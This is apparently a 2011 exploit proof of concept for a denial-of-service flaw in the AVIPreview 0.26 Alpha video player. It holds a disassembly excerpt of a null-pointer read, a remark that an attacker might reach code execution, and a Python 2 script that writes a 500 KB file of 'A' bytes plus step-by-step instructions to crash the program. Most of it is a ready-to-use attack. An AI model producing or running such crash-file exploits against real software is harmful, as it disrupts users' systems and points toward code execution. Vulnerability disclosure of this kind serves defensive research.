AVIPreview 0.26 Alpha Denial of Service 2011-03-16 14:15:25

# done by BraniX <[email protected]>
# www.hackers.org.pl
# found: 2011.03.15
# published: 2011.03.15
# tested on: Windows XP SP3 Home Edition

# App: AVIPreview 0.26 Alpha
# App Url: http://www.divx-digest.com/software/avipreview_aj.html
# AVIPreview.exe MD5: 399ab43edd26c655d0876dc5ddcaa3a7

# DoS is caused by Access Violation Exception, app reads memory via null pointer

# 00405B59 8B0D E0B14100 MOV ECX,DWORD PTR DS:[41B1E0] <-- Read from .data section DD 0h
# 00405B5F 8B11 MOV EDX,DWORD PTR DS:[ECX] <-- Exception, but if EDX is a pointer to SH
# 00405B61 A1 E0B14100 MOV EAX,DWORD PTR DS:[41B1E0]
# 00405B66 50 PUSH EAX
# 00405B67 FF52 30 CALL DWORD PTR DS:[EDX+30] <-- We will have LCE

# if exploiter can force something minigfull to ECX (.data is RW)
# so he/she will have code execution

path = "C:\\DoS.avi"
f = open(path, "wb")
f.write('\x41' * 500000)

print "File generated: " + path
print "In order to DoS AVIPreview 0.26 Alpha execute following steps\n"

print "1. Open file '" + path + "'in AVIPreview, application will show MessageBox with error, but will not crash"
print "2. Select 'No', otherway AVIPreview will pop-up browser"
print "3. Navigate to File menu and pick recent file (which point to our AVI file)"
print "4. You have DoS :>"